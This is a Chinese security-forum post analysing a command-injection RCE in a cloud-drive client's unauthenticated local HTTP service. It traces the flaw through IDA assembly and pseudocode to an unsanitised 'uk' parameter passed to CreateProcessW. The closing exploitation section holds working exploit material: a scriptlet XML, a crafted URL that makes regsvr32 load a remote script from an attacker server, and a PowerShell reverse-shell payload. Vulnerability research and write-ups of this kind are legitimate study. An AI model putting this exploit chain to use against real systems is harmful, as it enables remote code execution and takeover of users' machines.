[原创] ***RCE分析记录-二进制漏洞-看雪安全社区｜专业技术交流与安全研究论坛

## 1.引用文档

某日，在看雪论坛看到一篇关于**的RCE漏洞，很感兴趣，然后收集了相关资料，虽然各个平台写的都非常详细，也都包含了`Poc`运行版本之类的，但是总归想要自己研究透彻一点，于是开搞。

我找到参考的资料如下

```
https://bbs.kanxue.com/thread-288381.htm
https://www.freebuf.com/articles/vuls/456820.html
```

这两篇文章当中非常详细且专业的讲解了漏洞的原理。

## 2.漏洞原理

### 2.1 漏洞原理复述

站在巨人肩膀上，自己再做一个总结，班门弄斧，简单来说，这是一个本地服务未授权访问导致的命令注入漏洞，最终通过“白利用”（利用系统自带合法的 `regsvr32` 和 `scrobj.dll`）实现了远程代码执行。首先，下载对应的版本`7.59.5.104`，然后正常启动。安装后，会启动一个名为 `YunDetectService.exe` 的服务，默认监听本地 TCP 10000 端口 。该服务通过 HTTP/HTTPS 协议接收请求，且无需身份认证 。在处理 `OpenSafeBox` 接口时，程序会接收 `uk` 参数 。`YunDetectService.exe` 接收到 `uk` 参数后，会将其作为 `-userkey` 的值，通过字符串拼接的方式直接传递给主程序 `BaiduNetdisk.exe` 。没有对 `uk` 参数进行任何安全检测或过滤，导致攻击者可以注入额外的命令行参数 。

### 2.2 攻击链

攻击者通过精心构造 `uk` 参数，实际上构建了一条复杂的攻击链，流程如下：

1. 1.注入 `BaiduNetdisk.exe` 的功能参数

攻击者不仅仅传入 userkey，还注入了 `-install regdll` 参数 。这个参数原本是用来注册百度网盘自己的 DLL 文件（`YunShellExt.dll`）的 。

2. 路径穿越与 DLL 劫持

正常的注册流程会拼接 DLL 路径。攻击者利用路径穿越符 `..\` 将目标 DLL 路径指向了系统自带的 **`C:\windows\system32\scrobj.dll`** 。注意这里有一个限制条件：构造路径穿越时，必须包含 `\Users\[用户名]\AppData\Roaming\baidu\BaiduNetdisk\`，因此攻击者必须知道目标计算机的用户名 。

3. 注入 `regsvr32.exe` 实现远程加载

`BaiduNetdisk.exe` 最终会调用系统工具 `regsvr32.exe` 来注册上述 DLL。攻击者使用双引号 `"` 截断了原本的文件路径参数，并注入了 `regsvr32` 的特有参数 `/u /i`。最终会让命令变成让 `regsvr32` 去加载一个远程的 XML 文件（SCT脚本）:

```
   regsvr32.exe /u /i:http://攻击者IP/poc.xml scrobj.dll
   ```

4. 执行远程脚本 (JScript)

系统加载远程的 `poc.xml` 文件，该文件实际上是一个 `Scriptlet` 组件。其中包含的 `JScript` 代码（例如 `WScript.Shell` 运行 `calc.exe`）会被系统执行，从而完成 RCE 。

## 3.IDA 静态分析记录

理解原理以后，把安装目录当中的`YunDetectService.exe`拖出来放进`ida`当中看看。一开始想的是，搜索`OpenSafeBox`或是`uk`这两个字符串。但是我直接搜`opensafebox`没结果
 ![图片描述](upload/attach/202512/1028907_B5G6GTG5EAUD337.webp)
然后找`uk`这个字符串，好像找到一个相关的，进去查看这个部分。
 ![图片描述](upload/attach/202512/1028907_R5PWSFN7F4MPQEN.webp)
查看引用，发现都不是我想要的，代码部分的分析，我就不献丑了。
 ![图片描述](upload/attach/202512/1028907_NHJMKHS34CRZ63R.webp)
 ![图片描述](upload/attach/202512/1028907_9PTJCW9BS59HB6Y.webp)
这三个都不是，有点灰心，然后我想到两个文章当中都有说过一个函数`GetVersion`，利用已知函数反推分发逻辑，首先确定的就是有这么个函数，返回版本号。在web当中是这样的
 ![图片描述](upload/attach/202512/1028907_DB2A7NMU2FF68WG.webp)
搜索这个部分当中的关键字`version`
 ![图片描述](upload/attach/202512/1028907_CDBUS27KK78TY33.webp)
然后找到引用
 ![图片描述](upload/attach/202512/1028907_H3P485SBH6SZXCK.webp)
查看这个部分的代码:

```asm
.text:004F7690 ; __unwind { // SEH_4F7690
.text:004F7690                 push    ebp
.text:004F7691                 mov     ebp, esp
.text:004F7693                 push    0FFFFFFFFh
.text:004F7695                 push    offset SEH_4B22C0
.text:004F769A                 mov     eax, large fs:0
.text:004F76A0                 push    eax
.text:004F76A1                 sub     esp, 8
.text:004F76A4                 mov     eax, ___security_cookie
.text:004F76A9                 xor     eax, ebp
.text:004F76AB                 mov     [ebp+var_10], eax
.text:004F76AE                 push    esi
.text:004F76AF                 push    edi
.text:004F76B0                 push    eax
.text:004F76B1                 lea     eax, [ebp+var_C]
.text:004F76B4                 mov     large fs:0, eax
.text:004F76BA ; 3:   sub_4B44E0("7.59.5.104");
.text:004F76BA                 mov     edi, [ebp+arg_0]
.text:004F76BD                 lea     ecx, [ebp+ArgList]
.text:004F76C0                 mov     esi, [ebp+arg_4]
.text:004F76C3                 push    offset a7595104 ; "7.59.5.104"
.text:004F76C8                 mov     dword ptr [ebp+ArgList], 0
.text:004F76CF                 call    sub_4B44E0
.text:004F76D4 ; 4:   sub_4B4880(a2, "{\"version\":\"%s\",\"errorno\":0}", 0);
.text:004F76D4 ;   try {
.text:004F76D4                 mov     [ebp+var_4], 0
.text:004F76DB                 push    dword ptr [ebp+ArgList] ; ArgList
.text:004F76DE                 push    offset aVersionSErrorn ; "{\"version\":\"%s\",\"errorno\":0}"
.text:004F76E3                 push    esi             ; int
.text:004F76E4                 call    sub_4B4880
.text:004F76E4 ;   } // starts at 4F76D4
.text:004F76E9 ; 5:   *a1 = 200;
.text:004F76E9                 mov     [ebp+var_4], 0FFFFFFFFh
.text:004F76F0                 add     esp, 0Ch
.text:004F76F3                 mov     edx, dword ptr [ebp+ArgList]
.text:004F76F6                 or      eax, 0FFFFFFFFh
.text:004F76F9                 mov     dword ptr [edi], 0C8h
.text:004F76FF ; 6:   if ( _InterlockedDecrement((volatile signed __int32 *)0xFFFFFFFC) <= 0 )
.text:004F76FF                 add     edx, 0FFFFFFF0h
.text:004F7702                 lock xadd [edx+0Ch], eax
.text:004F7707                 dec     eax
.text:004F7708                 test    eax, eax
.text:004F770A                 jg      short loc_4F7714
.text:004F770C ; 7:     (*(void (__stdcall **)(int))(*MEMORY[0xFFFFFFF0] + 4))(-16);
.text:004F770C                 mov     ecx, [edx]
.text:004F770E                 push    edx
.text:004F770F                 mov     eax, [ecx]
.text:004F7711                 call    dword ptr [eax+4]
.text:004F7714 ; 8:   return 0;
```

伪代码:

```C
// 这个函数是GetVersion函数
int __stdcall sub_4F7690(_DWORD *a1, int a2)
{
  sub_4B44E0("7.59.5.104");
  sub_4B4880(a2, "{\"version\":\"%s\",\"errorno\":0}", 0);
  *a1 = 200;
  if ( _InterlockedDecrement((volatile signed __int32 *)0xFFFFFFFC) <= 0 )
    (*(void (__stdcall **)(int))(*MEMORY[0xFFFFFFF0] + 4))(-16);
  return 0;
}
```

首先确定这个就是刚刚看到的功能点，所有的 HTTP 请求处理逻辑一定汇聚在同一个类似于“功能分发函数”（Dispatcher）里。就像`FastBackServer`一样。“分发函数”应该会有大量的`if/else`或者`switch`结构的代码。找到调用 `sub_4F7690` 的上级函数。这个函数就应该是“分发函数”。
 ![图片描述](upload/attach/202512/1028907_CZ3JEQ9GJCKHMMS.webp)
跳转到这个函数看下
 ![图片描述](upload/attach/202512/1028907_2FYAX3MM4K2DT28.webp)
伪代码:

```c
int __thiscall sub_4F7250(_DWORD *this, _DWORD *a2, int a3, int *a4, int a5)
{
  int v6; // esi
  bool v7; // zf
  int v8; // ecx
  int v9; // esi
  int v10; // eax
  int v11; // edx
  int v12; // ecx
  volatile signed __int32 *v13; // esi
  int v14; // ecx
  int v15; // edi
  int *v16; // eax
  int *v17; // edx
  int v18; // ecx
  OLECHAR *v19; // ecx
  int v20; // ecx
  int v21; // ecx
  OLECHAR *v22; // ecx
  const wchar_t *v23; // ecx
  int v24; // ecx
  int v25; // ecx
  const wchar_t *v26; // esi
  int v27; // ecx
  int v28; // ecx
  int v29; // ecx
  int v30; // eax
  int v31; // ecx
  int v32; // ecx
  OLECHAR *v33; // ecx
  int v34; // esi
  int v36; // [esp-8h] [ebp-44h]
  int v37; // [esp-8h] [ebp-44h]
  int v38; // [esp-8h] [ebp-44h]
  int v39[6]; // [esp-4h] [ebp-40h] BYREF
  int *v40; // [esp+14h] [ebp-28h]
  int *v41; // [esp+18h] [ebp-24h]
  OLECHAR *v42; // [esp+1Ch] [ebp-20h]
  int v43; // [esp+20h] [ebp-1Ch]
  int v44; // [esp+24h] [ebp-18h]
  int *v45; // [esp+28h] [ebp-14h] BYREF
  int v46; // [esp+38h] [ebp-4h]

v42 = (OLECHAR *)this;
  v6 = a3;
  *a4 = 0;
  v7 = *(this + 1) == 0;
  v44 = a3;
  v40 = a4;
  v43 = a5;
  if ( v7 )
  {
    v8 = sub_40AE70();
    if ( !v8 )
      sub_40ABD0(-2147467259);
    v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 12))(v8) + 16;
    v45 = (int *)v9;
    v46 = 0;
    if ( sub_4F8230(v39[1], v39[2]) )
    {
      v10 = *(this + 9);
      if ( v10 )
      {
        if ( *(_DWORD *)(*(_DWORD *)(v10 + 68) - 12) )
        {
          sub_411F30(v10 + 68);
          v39[0] = (int)&v45;
          *a2 = 200;
          sub_411F30(v39[0]);
          v46 = -1;
          v11 = (int)(v45 - 4);
          *v40 = 1;
          if ( _InterlockedDecrement((volatile signed __int32 *)(v11 + 12)) <= 0 )
          {
            v12 = *(_DWORD *)v11;
            v39[0] = v11;
LABEL_54:
            (*(void (__thiscall **)(int, int))(*(_DWORD *)v12 + 4))(v12, v39[0]);
            return 0;
          }
          return 0;
        }
      }
    }
    v46 = -1;
    v13 = (volatile signed __int32 *)(v9 - 16);
    if ( _InterlockedDecrement(v13 + 3) <= 0 )
      (*(void (__thiscall **)(volatile signed __int32, volatile signed __int32 *))(**(_DWORD **)v13 + 4))(*v13, v13);
    v6 = v44;
  }
  sub_40A770(&off_699574);
  v40 = this + 7;
  v15 = sub_412410(&v45);
  v16 = v40;
  if ( v15 != *v40 )
  {
    if ( !(unsigned __int8)sub_411D90(&v45, v15 + 16) )
      goto LABEL_16;
    v16 = v40;
  }
  v15 = *v16;
LABEL_16:
  v17 = v45 - 4;
  if ( _InterlockedDecrement(v45 - 1) <= 0 )
    (*(void (__thiscall **)(int, int *))(*(_DWORD *)*v17 + 4))(*v17, v17);
  v39[5] = (int)&off_69B0D8;
  v39[0] = v14;
  v46 = 1;
  v45 = v39;
  sub_40A770(&off_6998F4);
  v36 = v18;
  LOBYTE(v46) = 2;
  sub_40A770(&off_699914);
  LOBYTE(v46) = 1;
  sub_5015C0(v19, v36, v39[0]);
  if ( *((_DWORD *)v42 + 10) < 0x1F4u )
  {
    sub_412190("{\"info\":\"Frequency Invalid request!\",\"error\":31034}", 0x33u);
    v39[0] = v20;
    v41 = v39;
    *a2 = 400;
    sub_40A770(L"frequency_request");
    LOBYTE(v46) = 3;
LABEL_20:
    v37 = v21;
    sub_40A770(&off_699914);
    LOBYTE(v46) = 1;
    sub_5015C0(v22, v37, v39[0]);
    return 0;
  }
  v23 = (const wchar_t *)*((_DWORD *)v42 + 3);
  if ( *((_DWORD *)v23 - 3) )
  {
    if ( !dword_6BC590 )
      sub_40ABD0(-2147467259);
    if ( !wcsicmp(v23, dword_6BC590) )
    {
      sub_4F8420(a2, v6);
      v39[0] = v24;
      v41 = v39;
      sub_40A770(L"download_request");
      LOBYTE(v46) = 4;
      goto LABEL_20;
    }
  }
  v25 = sub_40AE70();
  if ( !v25 )
    sub_40ABD0(-2147467259);
  v26 = (const wchar_t *)((*(int (__thiscall **)(int))(*(_DWORD *)v25 + 12))(v25) + 16);
  v45 = (int *)v26;
  LOBYTE(v46) = 5;
  if ( v15 != *v40 )
  {
    sub_408580(v15 + 20);
    v26 = (const wchar_t *)v45;
  }
  if ( *((_DWORD *)v26 - 3) )
  {
    if ( !dword_6BC578 )
      sub_40ABD0(-2147467259);
    if ( wcsicmp(v26, dword_6BC578) )
    {
      if ( !dword_6BC57C )
        sub_40ABD0(-2147467259);
      if ( !wcsicmp(v26, dword_6BC57C) )
      {
        sub_4F7740(a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC584) )
      {
        DownloadSelfownItems(v42, a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC580) )
      {
        DownloadShareItems(v42, a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC588) )
      {
        sub_4F7830(v42, a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC58C) )
      {
        sub_4F7E20(a2, v44);
        goto LABEL_52;
      }
      v30 = sub_411BE0(dword_6BC594);
      v39[0] = v44;
      if ( v30 )
      {
        sub_4F7800(a2, v39[0]);
        v39[0] = v32;
        v41 = v39;
        sub_40A770(L"invalid_request");
        LOBYTE(v46) = 9;
      }
      else
      {
        sub_4F8970(v43, a2, v39[0]);
        v39[0] = v31;
        v41 = v39;
        sub_40A770(&off_6999CC);
        LOBYTE(v46) = 8;
      }
    }
    else
    {
      sub_4F7690(a2, v44);
      v39[0] = v29;
      v41 = v39;
      sub_40A770(&off_6999A4);
      LOBYTE(v46) = 7;
    }
  }
  else
  {
    sub_412190("{\"info\":\"Invalid request!\"}", 0x1Bu);
    v39[0] = v27;
    v41 = v39;
    *a2 = 400;
    sub_40A770(L"invalid_request");
    LOBYTE(v46) = 6;
  }
  v38 = v28;
  sub_40A770(&off_699914);
  LOBYTE(v46) = 5;
  sub_5015C0(v33, v38, v39[0]);
LABEL_52:
  LOBYTE(v46) = 1;
  v34 = (int)(v26 - 8);
  if ( _InterlockedDecrement((volatile signed __int32 *)(v34 + 12)) <= 0 )
  {
    v12 = *(_DWORD *)v34;
    v39[0] = v34;
    goto LABEL_54;
  }
  return 0;
}
```

果然不出所料，大量的`if/else`的结构，我们可以通过伪代码清晰地看到它是如何解析 `method` 参数并分发给不同函数的。虽然字符串可能被加密（或使用全局变量引用 `dword_6BC5xx`），但结构出卖了它。

我们来逐一分析这个分发逻辑：

- `sub_4F7690` = `GetVersion`

- 代码行 107-111：`else { sub_4F7690(a2, v44); ... }`

- 与之对应的比较逻辑：`wcsicmp(v26, dword_6BC578)`。这意味着 `dword_6BC578` 实际上指向的就是字符串 `"GetVersion"`。

- `sub_4F7960` = `DownloadShareItems`(我在上面手动命名的函数)

- 代码行 96-99：`if ( !sub_411BE0(dword_6BC580) ) { DownloadShareItems(v42, a2, v44); ... }`
  - 这意味着 `dword_6BC580` 指向 `"DownloadShareItems"`。

- `sub_4F7C10` = `DownloadSelfownItems`（同上）

到这里，接下来需要找到我给出的两个链接当中的大佬说的漏洞，也就是说还是需要找到`OpenSafeBox`方法的参数`uk`相关的操作。

（这个截图是我给出的链接当中的分析）
 ![图片描述](upload/attach/202512/1028907_VT7GEGJJ75ZJNJG.webp)
来分析这里别的功能的部分，比较有嫌疑的是下面三个分支。

```c
if ( !sub_411BE0(dword_6BC588) )
{
  sub_4F7830(v42, a2, v44);  
  goto LABEL_52;
}

if ( !sub_411BE0(dword_6BC58C) )
{
  sub_4F7E20(a2, v44);       
  goto LABEL_52;
}

if ( !wcsicmp(v26, dword_6BC57C) )
{
  sub_4F7740(a2, v44);       
  goto LABEL_52;
}
```

-----------------------无关紧要的部分----------------------------------

`sub_4F7740`: 这个函数紧跟着 `GetVersion` (`dword_6BC578`)，使用的是 `wcsicmp` 而不是 `sub_411BE0`（这可能是一个自定义的比较函数）。这看起来像是一个简单的 Getter，很可能对应`GetPcCode`。跳转查看
 ![图片描述](upload/attach/202512/1028907_RKD28XB9R8RZ2FA.webp)
```c
int __stdcall sub_4F7740(_DWORD *a1, int a2)
{
  int v2; // ecx
  int v3; // esi
  volatile signed __int32 *v4; // esi
  char ArgList[4]; // [esp+10h] [ebp-14h] BYREF
  int v7; // [esp+20h] [ebp-4h]

v2 = sub_40AE70();
  if ( !v2 )
    sub_40ABD0(-2147467259);
  *(_DWORD *)ArgList = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 12))(v2) + 16;
  v7 = 0;
  sub_4B3330(ArgList);
  v3 = *(_DWORD *)ArgList;
  sub_4B4880(a2, "{\"pccode\":\"%s\"}", *(const char **)ArgList); // 看到这个关键字，就确定这里不是OpenSafeBox
  *a1 = 200;
  v7 = -1;
  v4 = (volatile signed __int32 *)(v3 - 16);
  if ( _InterlockedDecrement(v4 + 3) <= 0 )
    (*(void (__stdcall **)(volatile signed __int32 *))(**(_DWORD **)v4 + 4))(v4);
  return 0;
}
```

-----------------------无关紧要的部分----------------------------------
### 3.1 代码跟踪

这里根据文档 `OpenSafeBox` 的参数：它需要 `uk` 参数。 应该和上面部分我找到的 `DownloadShareItems` 结构差不多。所以我觉得第一段是比较像的。跳转查看
 ![图片描述](upload/attach/202512/1028907_DX9BW2GBNB2M43N.webp)

看到这个部分关键字其实就大概确定自己找对方向了

```c
// OpenSafeBox 接口的处理函数。
int __thiscall sub_4F7830(_DWORD *this, _DWORD *a2, int a3)
{
  int v4; // eax
  int v5; // ecx
  int v6; // esi
  int v7; // edx
  BSTR v9; // esi
  int v10; // [esp-Ch] [ebp-34h]
  int v11; // [esp-8h] [ebp-30h]
  int v12; // [esp-4h] [ebp-2Ch]
  int v13; // [esp+0h] [ebp-28h]
  int v14; // [esp+4h] [ebp-24h]
  _DWORD v15[5]; // [esp+14h] [ebp-14h] BYREF

sub_40A770(L"uk");
  v4 = sub_412410(v15);
  v6 = v4;
  if ( v4 == *(this + 7) || (unsigned __int8)sub_411D90(v15, v4 + 16) )
    v6 = *(this + 7);
  v7 = v15[0] - 16;
  if ( _InterlockedDecrement((volatile signed __int32 *)(v15[0] - 16 + 12)) <= 0 )
    (*(void (__stdcall **)(int))(**(_DWORD **)v7 + 4))(v7);
  if ( v6 == *(this + 7) )
  {
    v12 = v5;
    sub_4F8AE0(2, aCrequesthandle);
    sub_4F8C40(v10, v11, v12);
    return -2147467259;
  }
  else
  {
    if ( *(_DWORD *)(v6 + 20) )
    {
      v9 = SysAllocString(*(const OLECHAR **)(v6 + 20));
      v15[0] = v9;
      if ( !v9 )
        sub_40ABD0(-2147024882);
    }
    else
    {
      v9 = 0;
      v15[0] = 0;
    }
    v15[4] = 0;
    if ( sub_4B7040(v9, v13, v14) < 0 )         // 这里应该就是漏洞点,然后这个v9 就是前面提取出来的 uk 参数字符串。 它被原封不动地传给了 sub_4B7040
    {
      sub_412190("{\"info\":\"Open safebox failed!\"", 0x1Eu);
      *a2 = 400;
    }
    else
    {
      sub_412190("{\"info\":\"Open safebox succeed!\"", 0x1Fu);
      *a2 = 200;
    }
    SysFreeString(v9);
    return 0;
  }
}
```

这里，继续跟进

```c
if ( sub_4B7040(v9, v13, v14) < 0 )
```

`sub_4B7040`部分伪代码

```c
// 把 uk 参数（这里的 Src）处理了一下，转手就交给了 sub_4B1BA0
int __thiscall sub_4B7040(void *Src)
{
  int v2; // eax
  int v3; // esi
  int v4; // [esp+8h] [ebp-10h]

if ( !Src )
    return -2147467259;
  v2 = sub_40A770(Src);                         // 处理uk
  v3 = sub_4B1BA0(v2);                          // 转交
  if ( _InterlockedDecrement((volatile signed __int32 *)(v4 - 16 + 12)) <= 0 )
    (*(void (__stdcall **)(int))(**(_DWORD **)(v4 - 16) + 4))(v4 - 16);
  return v3;
}
```

`v3 = sub_4B1BA0(v2);`，还需要继续跟进。

```c
// 继续套娃,this,就是之前的uk,这里又做了判断,之后,转交给sub_4B1A10
int __thiscall sub_4B1BA0(void *this)
{
  int result; // eax

result = sub_4B1700();
  if ( result < 0 )
    return sub_4B1A10(this);
  return result;
}
```

最后来到真正拼接的部分

```c
int __usercall sub_4B1A10@<eax>(int a1@<ebp>)
{
  int v1; // esi
  int v2; // eax
  WCHAR *v3; // esi
  signed int v4; // eax
  int v5; // eax
  volatile signed __int32 *v6; // esi
  BOOL v8; // [esp-7Ch] [ebp-88h]
  struct _PROCESS_INFORMATION v9; // [esp-78h] [ebp-84h] BYREF
  struct _STARTUPINFOW v10; // [esp-68h] [ebp-74h] BYREF
  BSTR v11; // [esp-1Ch] [ebp-28h]
  _DWORD v12[5]; // [esp-18h] [ebp-24h] BYREF
  int v13; // [esp-4h] [ebp-10h]
  int v14; // [esp+0h] [ebp-Ch]
  void *v15; // [esp+4h] [ebp-8h]
  int v16; // [esp+8h] [ebp-4h] BYREF
  void *retaddr; // [esp+Ch] [ebp+0h]

v14 = a1;
  v15 = retaddr;
  v13 = -1;
  v12[4] = &loc_60A510;
  v12[3] = NtCurrentTeb()->NtTib.ExceptionList;
  v12[2] = &v16;
  v1 = -2147467259;
  v11 = 0;
  v13 = 0;
  if ( (int)sub_4B0210() >= 0 )
  {
    memset(&v10, 0, sizeof(v10));
    v10.cb = 68;
    v9 = 0;
    v2 = sub_40AE70();
    if ( !v2 )
      sub_40ABD0(-2147467259);
    v12[0] = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 12))(v2) + 16;
    LOBYTE(v13) = 1;
    sub_40AB50((int)v12, (wchar_t *)L"\"%s\" -opensafebox -userkey %s", (char)v11);
    v3 = (WCHAR *)v12[0];
    if ( *(int *)(v12[0] - 4) > 1 )
    {
      sub_40A910(*(_DWORD *)(v12[0] - 12));
      v3 = (WCHAR *)v12[0];
    }
    v8 = CreateProcessW(0, v3, 0, 0, 0, 0, 0, 0, &v10, &v9);
    v4 = wcsnlen(v3, *((_DWORD *)v3 - 2));
    if ( v4 < 0 || v4 > *((_DWORD *)v3 - 2) )
      sub_40ABD0(-2147024809);
    *((_DWORD *)v3 - 3) = v4;
    v3[v4] = 0;
    CloseHandle(v9.hThread);
    CloseHandle(v9.hProcess);
    v5 = -2147467259;
    LOBYTE(v13) = 0;
    if ( v8 )
      v5 = 0;
    v6 = (volatile signed __int32 *)(v3 - 8);
    v12[0] = v5;
    if ( _InterlockedDecrement(v6 + 3) <= 0 )
      (*(void (__stdcall **)(volatile signed __int32 *))(**(_DWORD **)v6 + 4))(v6);
    v1 = v12[0];
  }
  SysFreeString(v11);
  return v1;
}
```

这个就是最终有漏洞的部分

```c
sub_40AB50((int)v12, (wchar_t *)L"\"%s\" -opensafebox -userkey %s", (char)v11);
```

这里就是漏洞成因了

- `"%s"` (第一个)：这是 `BaiduNetdisk.exe` 的绝对路径。
- `-opensafebox`：启动模式参数 。
- `-userkey`：指定用户 Key 的参数 。
- `%s` (第二个)：这里直接拼接了传入的变量（即你控制的 `uk` 参数）。

**漏洞原理验证**： 文档中提到“代码中没有对该参数进行安全检测和过滤，因此此处存在命令行参数注入” 。 在这行代码中，程序没有对第二个 `%s` 做任何转义（没有引号包裹，没有过滤空格）。只要你在 `uk` 参数里输入空格，就能“逃逸”出 `-userkey` 的范围，伪造出新的参数（例如 `-install regdll`）。

### 3.2 最终的执行

代码的第 45 行

```C
v8 = CreateProcessW(0, v3, 0, 0, 0, 0, 0, 0, &v10, &v9);
```

- `v3`：就是上面拼接好的恶意命令行字符串。
- `CreateProcessW`：系统 API，用来启动进程。它会忠实地执行那个包含恶意参数的命令，从而触发后续的 DLL 劫持和命令执行 。

回顾整个过程，通过逆向分析完整复现了数据流向：

1. **分发中心** (`sub_4F7250`)：根据 `method` 字符串判断，将请求分发给 `OpenSafeBox` 处理逻辑。
2. **接口入口** (`sub_4F7830`)：处理 `OpenSafeBox` 请求，提取 `uk` 参数。
3. **中间传递** (`sub_4B7040` -> `sub_4B1BA0`)：负责传递参数，未做过滤。
4. **最终处刑** (`sub_4B1A10`)：使用 `wsprintf` 拼接命令行，并调用 `CreateProcessW` 执行。

## 4.漏洞利用

知其然，知其所以然，接下来到了利用的部分。

`poc.xml`
```xml
<?xml version="1.0"?>
<scriptlet>
    <registration
    progid="poc"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript">
    <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
          ]]>
    </script>
    </registration>
</scriptlet>
```

```
https://127.0.0.1:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\windows\\system32\\scrobj.dll\%22%20/u%20/i:http://<服务器IP>/poc.xml%20\\..\\..\\..\\..\\..\\..\\..\\Users\Cypher\AppData\Roaming\baidu\BaiduNetdisk
```
 ![图片描述](upload/attach/202512/1028907_TQX4C8FB5TB5DXS.webp)
接着尝试一下反弹shell

在kali当中准备一个xml

```xml
<?xml version="1.0"?>
<scriptlet>
<registration
progid="poc"
classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">

<![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("powershell -e JABjAGwA......");
      ]]>
</script>
</registration>
</scriptlet>
```

然后在kali当中开启一个web服务，然后访问，就会得到一个反弹shell

```
https://127.0.0.1:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\windows\\system32\\scrobj.dll\%22%20/u%20/i:http://10.10.10.129/BaiduPoc.xml%20\\..\\..\\..\\..\\..\\..\\..\\Users\Cypher\AppData\Roaming\baidu\BaiduNetdisk
```
 ![图片描述](upload/attach/202512/1028907_KZRKE4FSKTDCCC2.webp)
 ![图片描述](upload/attach/202512/1028907_Z6AZU2KCQB9A5SV.webp)

回复或点赞可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

最后于 2025-12-31 14:08 被kanxue编辑，原因：

#漏洞分析 #漏洞利用 #Windows

最新回复 (20)
jyotidwi 雪币： 1300 能力值： ( LV1，RANK：0 ) 在线值：发帖 3 回帖 121 粉丝 3 关注私信	jyotidwi 2 楼 66666666 2025-12-27 00:23 0
有毒雪币： 18082 活跃值： (17521) 能力值： (RANK：730 ) 在线值：发帖 56 回帖 533 粉丝 362 关注私信	有毒 10 3 楼一份比较详细的漏洞分析过程的记录文档，辛苦师傅！ 2025-12-29 09:41 0
Imxz 雪币： 112 活跃值： (9435) 能力值： ( LV2，RANK：10 ) 在线值：发帖 6 回帖 754 粉丝 9 关注私信	Imxz 4 楼 tql 2025-12-29 10:02 0
buluo533 雪币： 563 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 84 粉丝 1 关注私信	buluo533 5 楼 tql 2025-12-29 22:44 0
mb_shzsxtje 雪币： 1162 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 35 粉丝 0 关注私信	mb_shzsxtje 6 楼 666 2025-12-30 09:08 0
lqfcugo 雪币： 244 活跃值： (3780) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 53 粉丝 1 关注私信	lqfcugo 7 楼很棒的分析。 2025-12-31 09:37 0
龟仙人雪币： 567 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 51 粉丝 1 关注私信	龟仙人 8 楼牛批,这都能有漏洞 2026-1-1 10:50 0
Bonquer 雪币： 32 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 70 粉丝 1 关注私信	Bonquer 9 楼 66 2026-1-4 09:14 0
mb_ysegxpmv 雪币： 2188 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 115 粉丝 0 关注私信	mb_ysegxpmv 10 楼牛逼，大佬 2026-1-6 22:17 0
拍拖雪币： 2790 活跃值： (7011) 能力值： ( LV6，RANK：90 ) 在线值：发帖 22 回帖 425 粉丝 15 关注私信	拍拖 2 11 楼感谢分享 2026-1-7 13:54 0
wx_孟清雪币： 0 活跃值： (50) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	wx_孟清 12 楼 666666666666666 2026-1-14 16:55 0
Snowman_Liam 雪币： 4 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 138 粉丝 1 关注私信	Snowman_Liam 13 楼 6666 2026-1-14 17:31 0
mb_chwmyqom 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_chwmyqom 14 楼学习了 2026-2-3 02:12 0
mb_iqmxagkx 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 5 粉丝 0 关注私信	mb_iqmxagkx 15 楼学习一下 2026-2-28 19:23 0
离人怎挽雪币： 182 活跃值： (223) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 23 粉丝 0 关注私信	离人怎挽 16 楼 666666 2026-3-25 09:12 0
mb_gvgerako 雪币： 921 活跃值： (1675) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_gvgerako 17 楼 2026-3-30 09:35 0
我不是奶龙雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	我不是奶龙 18 楼 777 2026-3-31 16:28 0
wx_ian_310526 雪币： 0 活跃值： (40) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	wx_ian_310526 19 楼 888 2026-4-13 01:15 0
Aete333 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	Aete333 20 楼学习 2026-5-19 21:55 0
PWN_Michael 雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 1 粉丝 0 关注私信	PWN_Michael 21 楼厉害 2026-5-28 13:39 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复